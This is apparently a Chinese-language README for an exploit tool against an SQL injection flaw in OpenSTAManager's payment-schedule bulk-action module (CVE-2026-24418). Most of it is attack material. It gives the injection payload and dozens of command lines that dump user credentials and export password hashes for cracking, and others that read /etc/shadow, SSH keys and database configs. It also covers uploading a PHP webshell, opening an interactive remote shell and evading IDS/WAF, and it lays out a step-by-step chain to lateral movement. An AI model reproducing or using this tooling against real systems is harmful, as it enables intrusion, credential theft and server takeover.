OpenSTAManager <= 2.9.8 — 基于错误的SQL注入(Scadenzario批量操作模块)
| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2026-24418 |
| 严重性 | 高危 (8.8) |
| CWE | CWE-89: SQL注入 |
| 受影响版本 | OpenSTAManager <= 2.9.8 |
| 危险参数 | id_records[] (POST数组) |
| 危险端点 | /actions.php?id_module=18 |
| 攻击类型 | 基于错误的SQL注入 (EXTRACTVALUE) |
| 身份验证 | 需要(任意有效用户账户) |
OpenSTAManager v2.9.8及更早版本在Scadenzario(付款计划)模块的批量操作处理程序中存在一个严重的基于错误的SQL注入漏洞。应用程序未能验证id_records[]数组中的元素是否为整数,然后在SQL的IN()子句中使用它们,使得经过身份验证的攻击者能够注入任意SQL命令,并通过XPATH错误消息提取敏感数据。
/actions.php通过POST接收id_records[]array_clean()仅移除空值,不验证数据类型/modules/scadenzario/bulk.php直接将未清理的值传入SQL的IN()子句git clone https://github.com/BridgerAlderson/CVE-2026-24418.git
cd CVE-2026-24418
pip install requests
# 使用凭据登录
python3 exploit.py -t http://target.com -u admin -p password --info
# 使用现有会话cookie
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --info
# 数据库信息 + 权限 + 用户凭据
python3 exploit.py -t http://target.com -u admin -p secret --all
# 检查MySQL权限(FILE、SUPER等)
python3 exploit.py -t http://target.com -u admin -p secret --privs
# 转储用户并自动导出哈希
python3 exploit.py -t http://target.com -u admin -p secret --users -o ./loot
# 输出文件:
# ./loot/users.json - 完整用户数据
# ./loot/users.csv - CSV格式
# ./loot/hashes_hashcat.txt - Hashcat格式(模式3200)
# ./loot/hashes_john.txt - John格式(用户:哈希)
# 列出所有数据库
python3 exploit.py -t http://target.com -u admin -p secret --dbs
# 列出指定数据库中的表
python3 exploit.py -t http://target.com -u admin -p secret --tables -D openstamanager
# 列出表的列
python3 exploit.py -t http://target.com -u admin -p secret --columns -T zz_users
# 转储特定列并限制行数
python3 exploit.py -t http://target.com -u admin -p secret --dump -T zz_users -C username,password --limit 10
# 读取 /etc/passwd
python3 exploit.py -t http://target.com -u admin -p secret --file-read /etc/passwd
# 读取应用程序配置(数据库凭据)
python3 exploit.py -t http://target.com -u admin -p secret --file-read /var/www/html/openstamanager/config.inc.php
# 读取SSH密钥
python3 exploit.py -t http://target.com -u admin -p secret --file-read /home/user/.ssh/id_rsa
# HEX模式(绕过字符过滤器)
python3 exploit.py -t http://target.com -u admin -p secret --file-read-hex /etc/shadow
# 上传webshell(自动检测Web根目录)
python3 exploit.py -t http://target.com -u admin -p secret --webshell
# 上传webshell并指定Web根目录
python3 exploit.py -t http://target.com -u admin -p secret --webshell --webroot /var/www/html
# 交互式shell会话
python3 exploit.py -t http://target.com -u admin -p secret --rce
# RCE会自动上传webshell(如果不存在)
# 将所有内容保存到目录
python3 exploit.py -t http://target.com -u admin -p secret --all -o ./loot
# 生成的文件:
# db_info.json, privileges.json, users.json, users.csv,
# hashes_hashcat.txt, hashes_john.txt
# 通过Burp Suite代理
python3 exploit.py -t http://target.com -u admin -p secret --users --proxy http://127.0.0.1:8080
# 带请求延迟(请求间间隔2秒)
python3 exploit.py -t http://target.com -u admin -p secret --users --delay 2
# 跳过SSL验证
python3 exploit.py -t https://target.com -u admin -p secret --info -k
目标:
-t, --target 目标基础URL
身份验证:
-u, --user 登录用户名
-p, --password 登录密码
-c, --cookie 现有的PHPSESSID值
枚举:
-D, --database 目标数据库名称
-T, --table 目标表名称
-C, --columns-list 要转储的列(逗号分隔)
--limit 转储的行数限制
操作:
--info 数据库服务器信息
--users 转储zz_users凭据
--dbs 枚举数据库
--tables 列出表
--columns 列出列(需要-T)
--dump 转储数据(需要-T和-C)
--sql QUERY 自定义SQL查询
--all 运行--info + --privs + --users
--privs 检查MySQL权限
文件操作:
--file-read PATH 通过LOAD_FILE()读取文件
--file-read-hex PATH 通过HEX编码读取文件
远程代码执行:
--webshell 上传PHP webshell
--webroot PATH Web shell上传的Web根路径
--rce 交互式命令执行
输出:
-o, --output DIR 将结果保存到目录
网络:
-m, --module-id 模块ID(默认:18)
--proxy HTTP代理URL
-k, --no-ssl-verify 禁用SSL验证
--delay 请求延迟(秒)
id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(<SQL_QUERY>)))#
MySQL的EXTRACTVALUE()通过XPATH错误最多返回约32个字符。该工具使用SUBSTRING()自动分块长结果:
SUBSTRING((<query>), 1, 31) -- 块1
SUBSTRING((<query>), 32, 31) -- 块2
...
关于基于错误上下文的说明: 虽然包含
--webshell和--rce以实现最大覆盖范围,但MySQL严格禁止在子查询或IN()子句中使用INTO DUMPFILE(而这正是此CVE注入点的位置)。因此,直接通过此特定基于错误的注入写入文件通常会引发语法错误,除非:
- 目标环境允许堆叠查询(在现代PHP/PDO设置中非常罕见)。
- 您设法将载荷转换为基于UNION的注入。
如果您通过
--privs确认了FILE权限,那么最佳选择是使用--file-read和--file-read-hex,因为LOAD_FILE()在基于错误的子查询中完美运行。
当FILE权限可用且约束允许时:
SELECT 0x<hex_encoded_php> INTO DUMPFILE '/var/www/html/shell.php'
POST /actions.php?id_module=18
└── actions.php (L503-506) ─── receives id_records[]
└── array_clean() ─── only removes empty values
└── bulk.php (L88) ─── builds SQL IN() clause
└── Database.php (L289) ─── executes unsanitized query
└── XPATH error leaks data
1. --privs → 检查FILE权限
2. --users → 转储凭据,导出哈希
3. --file-read → 读取config.inc.php获取数据库凭据
4. --file-read → 读取/etc/passwd获取用户名
5. --webshell → 上传PHP webshell
6. --rce → 交互式shell → 横向移动
此工具仅供授权的安全测试和教育目的使用。未经授权访问计算机系统是非法的。在测试前请始终获得适当授权。作者对滥用不承担任何责任。
| 功能 | 描述 |
|---|
--info | 数据库服务器指纹识别(版本、用户、主机名、操作系统、路径) |
--privs | MySQL权限枚举(FILE、SUPER、PROCESS) |
--users | 从zz_users转储完整凭据,并自动导出哈希 |
--dbs | 枚举所有可访问的数据库 |
--tables | 列出表及其行数 |
--columns | 列出列及其类型和是否可为空 |
--dump | 从任意表/列提取数据 |
--sql | 执行自定义SQL查询 |
--file-read | 通过LOAD_FILE()读取服务器文件(/etc/passwd、配置文件、SSH密钥) |
--file-read-hex | HEX编码读取文件以绕过过滤器 |
--webshell | 通过INTO DUMPFILE上传PHP webshell |
--rce | 通过上传的webshell执行交互式命令 |
-o / --output | 将所有结果保存为JSON、CSV以及hashcat/john格式 |
--proxy | HTTP代理支持(Burp Suite) |
--delay | 请求节流用于IDS/WAF规避 |